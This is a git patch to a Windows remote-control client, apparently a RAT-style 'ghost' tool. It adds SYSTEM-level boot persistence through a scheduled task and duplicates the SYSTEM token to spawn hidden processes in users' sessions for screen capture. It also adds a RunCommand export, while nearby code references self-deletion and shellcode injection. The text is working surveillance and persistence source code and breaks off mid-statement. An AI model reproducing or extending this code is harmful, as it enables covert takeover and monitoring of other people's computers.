From bcccbefb7753db859dd4637ee40a5181a3c3af43 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 29 Jun 2026 20:29:16 +0200 Subject: [PATCH] Feature: Client running as SYSTEM and support remote control --- client/ClientDll.cpp | 56 +++++++- client/ClientDll_vs2015.vcxproj | 8 ++ client/ClientDll_vs2015.vcxproj.filters | 8 ++ client/Common.cpp | 5 +- client/KernelManager.cpp | 15 ++ client/ScreenManager.cpp | 13 +- client/TestRun_vs2015.vcxproj | 4 +- client/ghost_vs2015.vcxproj | 2 + client/reg_startup.c | 72 ++++++++-- client/reg_startup.h | 3 +- client/session.cpp | 176 ++++++++++++++++++++++++ client/session.h | 7 + client/test.cpp | 119 +++++++++------- common/commands.h | 8 ++ server/2015Remote/BuildDlg.cpp | 20 +++ server/2015Remote/ScreenSpyDlg.cpp | 9 ++ 16 files changed, 455 insertions(+), 70 deletions(-) create mode 100644 client/session.cpp create mode 100644 client/session.h diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index cc45335..76c7dc3 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -75,6 +75,50 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) return a; } +#if _CONSOLE +#define DLL_API +#else +#define DLL_API __declspec(dllexport) +#endif + +extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) { + if (!ENABLE_SCREEN || ulLength == 0) { + return 1; + } + if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) { + return 2; + } + switch (szBuffer[0]) { + case COMMAND_SCREEN_SPY: { + BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE }; + szBuffer = bToken; ulLength = 4; + CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection; + UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) }; + if (ulLength > 1) { + memcpy(user->buffer, szBuffer + 1, ulLength - 1); + } + ThreadInfo m_hThread; + auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP()); + // sub->EnableSubConnAuth(); + m_hThread.conn = m_conn; + m_hThread.p = sub; + m_hThread.user = user; + m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL); + while (m_hThread.p) Sleep(1000); + return 0; + } + case TOKEN_PRIVATESCREEN: { + extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg, + const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector&bmpData); + std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0"; + std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector{}); + t.join(); + return 0; + } + } + return -1; +} + DWORD WINAPI StartClientApp(LPVOID param) { ClientApp::AddCount(1); @@ -219,16 +263,24 @@ int main(int argc, const char *argv[]) licenseInit(); Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc); + bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0); + std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : ""; + int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str()); + if (nCmd) { + BYTE buf[] = { nCmd }; + return RunCommand(buf, 1); + } InitWindowsService(NewService( g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService", g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service", g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log); - bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0(); + bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem); + bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0(); // 注册启动项 int r = RegisterStartup( g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost", g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost", - !isService, g_SETTINGS.runasAdmin, Logf); + lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 563d04f..80dbb25 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -197,11 +197,15 @@ + + + + @@ -234,6 +238,10 @@ + + + + diff --git a/client/ClientDll_vs2015.vcxproj.filters b/client/ClientDll_vs2015.vcxproj.filters index d20f773..3256935 100644 --- a/client/ClientDll_vs2015.vcxproj.filters +++ b/client/ClientDll_vs2015.vcxproj.filters @@ -41,6 +41,10 @@ + + + + @@ -89,6 +93,10 @@ + + + + diff --git a/client/Common.cpp b/client/Common.cpp index aa3451f..5afa044 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -69,7 +69,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn); if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) { ClientObject->SetVerifyInfo(msg, signature); - CScreenManager m(ClientObject, 32, (void*)1, TRUE); + BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE }; + UserParam* user = new UserParam{ new BYTE[3], 3 }; + memcpy(user->buffer, bToken + 1, 3); + CScreenManager m(ClientObject, 32, (void*)user, TRUE); if (IsWindows8orHigher()) { ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData); } else { diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index a0cd55c..a542843 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -23,6 +23,7 @@ #include "common/DateVerify.h" #include "common/LANChecker.h" #include "common/scheduler.h" +#include "session.h" extern "C" { #include "ServiceWrapper.h" } @@ -795,6 +796,9 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size client->Send2Server((char*)&msg, sizeof(msg)); } + +extern "C" bool IsSystemInSession0(); + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -952,6 +956,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (!ENABLE_SCREEN) { return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1); } + if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) { + Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n"); + return RunRoundRobinAgent(TOKEN_PRIVATESCREEN); + } char h[100] = {}; memcpy(h, szBuffer + 1, min(ulLength - 1, 80)); std::string hash = std::string(h, h + 64); @@ -1159,6 +1167,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->Send2Server((char*)&bToken, 1); g_bExit = S_CLIENT_EXIT; + if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) { + ServiceWrapper_Uninstall(); + } self_del(10); Mprintf("======> Client uninstall \n"); break; @@ -1212,6 +1223,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (!ENABLE_SCREEN) { return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1); } + if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) { + Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n"); + return RunRoundRobinAgent(COMMAND_SCREEN_SPY); + } UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; if (ulLength > 1) { memcpy(user->buffer, szBuffer + 1, ulLength - 1); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 1d5f6eb..a305c19 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -470,7 +470,7 @@ void CScreenManager::InitScreenSpy() BOOL switchScreen = m_SwitchScreen; if (!(user == NULL || ((int)user) == 1)) { UserParam* param = (UserParam*)user; - if (param) { + if (param && param->length>0) { DXGI = param->buffer[0]; algo = param->length > 1 ? param->buffer[1] : algo; all = param->length > 2 ? param->buffer[2] : all; @@ -862,6 +862,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_ClientObject->StopRunning(); break; } + case COMMAND_SCREEN_SIGNATURE: { + SignatureResp resp = { 0 }; + memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1)); + if (m_Signature.empty()) { + m_Signature = std::string(resp.signature, resp.signature + 64); + m_ClientObject->SetVerifyInfo(resp.msg, m_Signature); + InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf); + Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str()); + } + break; + } case COMMAND_SCREEN_ROI:{ if (ulLength > sizeof(RECT)) { memcpy(&m_ROI, szBuffer + 1, sizeof(RECT)); diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index c2509d5..c80a7f2 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -78,7 +78,7 @@ $(Platform)\$(Configuration)\test - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath) $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) $(Configuration)\test @@ -168,6 +168,7 @@ + @@ -177,6 +178,7 @@ + diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 2b7bb88..fcfe3e5 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -213,6 +213,7 @@ + @@ -265,6 +266,7 @@ + diff --git a/client/reg_startup.c b/client/reg_startup.c index f7222f2..c39c46b 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize); } -int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin) +int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot) { HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { @@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection); if (SUCCEEDED(hr)) { ITrigger* pTrigger = NULL; - hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger); + hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger); pTriggerCollection->lpVtbl->Release(pTriggerCollection); if (SUCCEEDED(hr)) { // 普通用户需要指定具体用户 - if (!runasAdmin) { + if (!systemBoot && !runasAdmin) { ILogonTrigger* pLogonTrigger = NULL; hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger); if (SUCCEEDED(hr)) { @@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons // 权限配置 IPrincipal* pPrincipal = NULL; - if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { - hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); + if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { + hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN); if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr); - hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA); + if (systemBoot) + { + BSTR sys = SysAllocString(L"SYSTEM"); + hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys); + if (FAILED(hr)) + Mprintf("put_UserId失败:%ld\n", hr); + SysFreeString(sys); + } + hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA); if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr); pPrincipal->lpVtbl->Release(pPrincipal); } else { @@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons bstrTaskName, pTask, TASK_CREATE_OR_UPDATE, - runasAdmin ? vUser : empty, + systemBoot ? empty : (runasAdmin ? vUser : empty), empty, - TASK_LOGON_INTERACTIVE_TOKEN, + systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN, empty, &pRegisteredTask ); @@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin() return isAdmin; } +BOOL IsSystem() +{ + HANDLE token = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) + return FALSE; + + DWORD size = 0; + GetTokenInformation(token, TokenUser, NULL, 0, &size); + + PTOKEN_USER user = (PTOKEN_USER)malloc(size); + if (!user) { CloseHandle(token); return FALSE; } + + BOOL result = FALSE; + if (GetTokenInformation(token, TokenUser, user, size, &size)) + { + SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY; + + PSID systemSid = NULL; + AllocateAndInitializeSid(&nt, 1, + SECURITY_LOCAL_SYSTEM_RID, + 0, 0, 0, 0, 0, 0, 0, + &systemSid); + + result = EqualSid(user->User.Sid, systemSid); + + FreeSid(systemSid); + } + + free(user); + CloseHandle(token); + + return result; +} + BOOL LaunchAsAdmin(const char* szFilePath, const char* verb) { SHELLEXECUTEINFOA shExecInfo; @@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName) return folder; } -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log) +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log) { #ifdef _DEBUG return 1; @@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, char dstFile[MAX_PATH] = { 0 }; sprintf(dstFile, "%s\\%s.exe", folder, exeName); - BOOL isAdmin = IsRunningAsAdmin(); - if (isAdmin) runasAdmin = true; + BOOL isAdmin = IsRunningAsAdmin() || IsSystem(); + bool bootRun = false; + if (isAdmin) { + bootRun = runasAdmin == 2; + runasAdmin = true; + } if (_stricmp(curFile, dstFile) != 0) { if (!isAdmin) { if (runasAdmin) { @@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n", curFile, dstFile, b ? "succeed" : "failed", GetLastError()); - int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin); + int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun); Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败"); if (b && status) { int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE); @@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, return 0; } - int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin); + int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun); Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败"); if (lockFile) CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); diff --git a/client/reg_startup.h b/client/reg_startup.h index 967d6da..8b5bcf1 100644 --- a/client/reg_startup.h +++ b/client/reg_startup.h @@ -6,7 +6,8 @@ const char* GetInstallDirectory(const char* startupName); typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...); // return > 0 means to continue running else terminate. -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log); +// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2 +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log); // 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理 bool IsSystemInSession0(); diff --git a/client/session.cpp b/client/session.cpp new file mode 100644 index 0000000..c0ed151 --- /dev/null +++ b/client/session.cpp @@ -0,0 +1,176 @@ +#include "session.h" +#include +#include +#include +#include +#include "common/logger.h" +#pragma comment(lib, "Wtsapi32.lib") +#pragma comment(lib, "Userenv.lib") +#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0) + +static DWORD g_lastIndex = 0; + +DWORD GetNextSessionRoundRobin() +{ + PWTS_SESSION_INFOA sessions = NULL; + DWORD count = 0; + + if (!WTSEnumerateSessionsA( + WTS_CURRENT_SERVER_HANDLE, + 0, + 1, + &sessions, + &count)) + { + Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError()); + return 0xFFFFFFFF; + } + + if (count == 0) + { + Mprintf("WTSEnumerateSessionsA Failed: count=0\n"); + WTSFreeMemory(sessions); + return 0xFFFFFFFF; + } + + DWORD start = g_lastIndex; + + for (DWORD i = 0; i < count; i++) + { + DWORD idx = (start + i) % count; + + DWORD sessionId = sessions[idx].SessionId; + + // 过滤无效 session + if (sessionId == 0) + continue; + + WTS_CONNECTSTATE_CLASS* state = NULL; + DWORD bytes = 0; + + if (WTSQuerySessionInformationA( + WTS_CURRENT_SERVER_HANDLE, + sessionId, + WTSConnectState, + (LPSTR*)&state, + &bytes)) + { + BOOL ok = (state && ( + *state == WTSActive || + *state == WTSConnected)); + + WTSFreeMemory(state); + + if (ok) + { + g_lastIndex = (idx + 1) % count; + DWORD result = sessionId; + WTSFreeMemory(sessions); + Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result); + return result; + } + } + } + + WTSFreeMemory(sessions); + return 0xFFFFFFFF; +} + +BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd) +{ + HANDLE hToken = NULL; + HANDLE hDupToken = NULL; + // 获取当前服务进程的 SYSTEM 令牌 + char buf[500]; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { + sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError()); + Mprintf(buf); + return FALSE; + } + + // 复制为可用于创建进程的主令牌 + if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, + SecurityImpersonation, TokenPrimary, &hDupToken)) { + sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError()); + Mprintf(buf); + SAFE_CLOSE_HANDLE(hToken); + return FALSE; + } + + // 修改令牌的会话 ID 为目标用户会话 + if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { + sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError()); + Mprintf(buf); + SAFE_CLOSE_HANDLE(hDupToken); + SAFE_CLOSE_HANDLE(hToken); + return FALSE; + } + + Mprintf("Token duplicated"); + + char path[MAX_PATH]; + if (!exePath) + GetModuleFileNameA(NULL, path, MAX_PATH); + else + lstrcpyA(path, exePath); + + // 获取用户令牌(用于获取环境块) + LPVOID lpEnvironment = NULL; + HANDLE hUserToken = NULL; + if (!WTSQueryUserToken(sessionId, &hUserToken)) { + Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError()); + } + + // 使用用户令牌创建环境块 + if (hUserToken) { + if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { + Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError()); + } + CloseHandle(hUserToken); + } + + STARTUPINFOA si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + + si.cb = sizeof(si); + si.lpDesktop = (LPSTR)"winsta0\\default"; + char cmdStr[300]; + sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd)); + BOOL result = CreateProcessAsUserA( + hDupToken, + NULL, + (LPSTR)cmdStr, + NULL, + NULL, + FALSE, + NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, + lpEnvironment, + NULL, + &si, + &pi); + + if (result) + { + Mprintf("CreateProcessAsUserA Succeed\n"); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr); + } + + CloseHandle(hDupToken); + CloseHandle(hToken); + + return result; +} + +void RunRoundRobinAgent(BYTE cmd) +{ + DWORD sessionId = GetNextSessionRoundRobin(); + + if (sessionId == 0xFFFFFFFF) + return; + + StartProcessInSessionA(sessionId, NULL, cmd); +} diff --git a/client/session.h b/client/session.h new file mode 100644 index 0000000..aaf8f56 --- /dev/null +++ b/client/session.h @@ -0,0 +1,7 @@ +#include + +DWORD GetNextSessionRoundRobin(); + +BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd); + +void RunRoundRobinAgent(BYTE cmd); diff --git a/client/test.cpp b/client/test.cpp index 5a13cec..ad8a159 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -8,6 +8,7 @@ #include #include #include "auto_start.h" +#include "Common.h" // A shell code loader connect to 127.0.0.1:6543. // Build: xxd -i TinyRun.dll > SCLoader.cpp // #include "SCLoader.cpp" @@ -27,6 +28,8 @@ typedef bool (*IsStoped)(); typedef BOOL (*IsExit)(); +typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength); + // 停止程序运行 StopRun stop = NULL; @@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType) } // 运行程序. -BOOL Run(const char* argv1, int argv2); +BOOL Run(const char* argv1, int argv2, const std::string& runCmd); // Package header. typedef struct PkgHeader { @@ -305,60 +308,64 @@ int InjectShellcode(BYTE* buf, int len) { int main(int argc, const char *argv[]) { Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc); - InitWindowsService(NewService( - g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService", - g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service", - g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log); - bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0(); - // 注册启动项 - int r = RegisterStartup( - g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo", - g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo", - !isService, g_ConnectAddress.runasAdmin, Logf); - if (r <= 0) { - if (g_ConnectAddress.iStartup == Startup_DLL) { - const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo"); - if (!folder) { - return -1; - } - char dstFile[MAX_PATH] = { 0 }; - sprintf(dstFile, "%s\\ServerDll.dll", folder); - if (_access(dstFile, 0) == -1) { - char curFile[MAX_PATH] = { 0 }; - GetModuleFileNameA(NULL, curFile, MAX_PATH); - GET_FILEPATH(curFile, "ServerDll.dll"); - if (_access(curFile, 0) == -1) { - MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR); + bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false; + if (!runCmd) { + InitWindowsService(NewService( + g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService", + g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service", + g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log); + isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem); + bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0(); + // 注册启动项 + int r = RegisterStartup( + g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo", + g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo", + lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf); + if (r <= 0) { + if (g_ConnectAddress.iStartup == Startup_DLL) { + const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo"); + if (!folder) { return -1; } - MoveFileA(curFile, dstFile); + char dstFile[MAX_PATH] = { 0 }; + sprintf(dstFile, "%s\\ServerDll.dll", folder); + if (_access(dstFile, 0) == -1) { + char curFile[MAX_PATH] = { 0 }; + GetModuleFileNameA(NULL, curFile, MAX_PATH); + GET_FILEPATH(curFile, "ServerDll.dll"); + if (_access(curFile, 0) == -1) { + MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR); + return -1; + } + MoveFileA(curFile, dstFile); + } + } + BOOL s = self_del(); + if (!IsDebug) { + Mprintf("结束运行.\n"); + Sleep(1000); + return r; } } - BOOL s = self_del(); - if (!IsDebug) { - Mprintf("结束运行.\n"); - Sleep(1000); - return r; - } - } - BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf); - if(!ok) { - Mprintf("设置开机自启动失败,请用管理员权限运行.\n"); - } + BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf); + if (!ok) { + Mprintf("设置开机自启动失败,请用管理员权限运行.\n"); + } - if (isService) { - bool ret = RunAsWindowsService(argc, argv); - Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc); - for (int i = 0; !ret && i < argc; i++) { - Mprintf(" Arg [%d]: %s\n", i, argv[i]); + if (isService) { + bool ret = RunAsWindowsService(argc, argv); + Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc); + for (int i = 0; !ret && i < argc; i++) { + Mprintf(" Arg [%d]: %s\n", i, argv[i]); + } + if (ret) { + Mprintf("结束运行.\n"); + Sleep(1000); + return 0x20251202; + } + g_ConnectAddress.iStartup = Startup_MEMDLL; } - if (ret) { - Mprintf("结束运行.\n"); - Sleep(1000); - return 0x20251202; - } - g_ConnectAddress.iStartup = Startup_MEMDLL; } status = 0; @@ -376,7 +383,8 @@ int main(int argc, const char *argv[]) do { BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent" argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), - argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); + argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()), + (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : ""); if (ret == 1) { Mprintf("结束运行.\n"); Sleep(1000); @@ -397,7 +405,7 @@ int main(int argc, const char *argv[]) } // 传入命令行参数: IP 和 端口. -BOOL Run(const char* argv1, int argv2) +BOOL Run(const char* argv1, int argv2, const std::string &runCmd) { BOOL result = FALSE; char path[_MAX_PATH], * p = path; @@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2) case Startup_DLL: runner = new DefaultDllRunner; break; - case Startup_MEMDLL: + case Startup_MEMDLL: case Startup_TestRunSystem : runner = new MemoryDllRunner; break; case Startup_InjSC: @@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2) stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL; bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL; bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL; + CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL; + int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str()); if (NULL == run) { if (hDll) runner->FreeLibrary(hDll); Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError()); @@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2) port = cfg.Get1Int("settings", "port", ';', 6543); } Mprintf("[server] %s:%d\n", ip, port); + if (nCmd) { + BYTE buf[] = {nCmd}; + if 